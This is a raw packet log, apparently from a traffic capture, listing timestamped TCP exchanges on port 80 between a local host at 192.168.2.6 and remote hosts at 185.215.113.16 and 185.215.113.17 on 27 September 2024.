Sep 27, 2024 16:18:25.885787010 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885802984 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885806084 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885813951 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885831118 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885843039 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885859013 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885869980 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885871887 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885871887 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885886908 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885914087 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885940075 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885976076 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885987997 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885998011 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.886008978 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.886017084 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.886023045 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.886029959 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.886039972 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.886050940 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.886061907 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.886077881 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.886085987 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.886096954 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.886111021 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.886111021 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.886142015 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.886163950 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.886231899 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.886244059 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.886265039 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.886275053 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.886275053 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.886301994 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.886320114 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887197971 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887208939 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887219906 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887250900 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887257099 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887268066 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887278080 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887284040 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887290955 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887305021 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887314081 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887341976 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887427092 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887437105 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887447119 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887458086 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887468100 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887476921 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887479067 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887490988 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887501955 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887511969 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887521029 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887543917 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887561083 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887588978 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887599945 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887609959 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887619972 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887630939 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887639999 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887640953 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887653112 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887662888 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887666941 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887675047 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887686014 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887697935 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887722015 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887723923 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887733936 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887744904 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887756109 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887767076 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887768984 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887801886 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887820005 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887882948 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887895107 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887904882 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887916088 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887922049 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887928963 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887933016 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887943029 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887953997 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887953997 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887964964 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887975931 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887976885 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887988091 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.887995958 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.887999058 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.888034105 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.888056993 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.951814890 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.951873064 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.951884031 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.951975107 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.952023029 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952034950 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952044010 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952054024 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952069044 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952075005 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.952114105 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.952116013 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952127934 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952138901 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952153921 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952159882 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.952188969 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.952215910 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.952224016 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952234983 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952261925 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952277899 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.952311993 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.952408075 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952420950 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952430964 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952440977 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952450991 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952455044 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.952462912 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952474117 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.952474117 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.952502012 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.952517033 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.972794056 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.972837925 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.972851038 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.972910881 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.972912073 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.972923040 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.972934008 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.972944975 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.972961903 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.972982883 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.008542061 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.008562088 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.008574009 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.008615017 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.008656025 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.008778095 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.008790016 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.008799076 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.008809090 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.008820057 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.008836031 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.008862972 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.010001898 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010011911 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010024071 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010040045 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010050058 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010052919 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.010059118 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010071993 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010098934 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.010118008 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.010145903 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010157108 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010166883 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010175943 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010195017 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.010210991 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.010224104 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010236025 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010245085 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010271072 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.010286093 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.010308981 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010319948 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010329008 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010343075 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010353088 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010355949 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.010363102 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010390043 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.010406017 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.010505915 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010514975 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010531902 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010540962 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010550976 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010554075 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.010560989 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010570049 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010590076 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.010590076 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.010608912 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.010831118 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010842085 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010850906 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.010878086 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.010919094 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.011441946 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011497021 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.011498928 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011511087 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011535883 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.011550903 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.011575937 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011586905 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011595964 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011610985 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011626005 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.011657000 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.011687994 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011698008 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011708021 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011719942 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011730909 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011730909 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.011753082 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.011782885 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.011815071 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011826992 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011836052 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011846066 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011856079 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011862993 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.011868000 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.011883974 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.011903048 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.012047052 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.012058020 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.012072086 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.012083054 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.012095928 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.012096882 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.012109041 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.012110949 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.012124062 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:26.012142897 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.012165070 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:26.877573967 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:26.882376909 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.105478048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.105508089 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.105525970 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.105537891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.105550051 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.105561018 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.105571985 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.105587006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.105600119 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.105618954 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.105664968 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.105676889 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.105686903 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.105703115 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.105703115 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.105726957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.191998005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.192011118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.192054987 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.192087889 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.234611988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.234638929 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.234651089 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.234728098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.234739065 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.234733105 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.234750986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.234761953 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.234774113 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.234786987 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.234824896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.234839916 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.234853029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.234914064 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.234930992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.234934092 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.234934092 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.234934092 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.234934092 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.234935045 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.234935045 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.234941959 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.234946966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.234961033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.234982967 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.235027075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.235038996 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.235049009 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.235049009 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.235078096 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.235078096 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.235130072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.235141993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.235152006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.235162973 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.235173941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.235191107 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.235219955 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.235219955 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.281501055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.281517029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.281687975 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.375365973 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:27.376032114 CEST	49617	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:27.380494118 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:27.380569935 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:27.380933046 CEST	80	49617	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:27.381011963 CEST	49617	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:27.381436110 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.381448984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.381458998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.381469965 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.381505013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.381560087 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.385204077 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.385221004 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.385238886 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.385250092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.385271072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.385272026 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.385283947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.385293961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.385303974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.385329008 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.385384083 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.385726929 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.385739088 CEST	80	49613	185.215.113.17	192.168.2.6
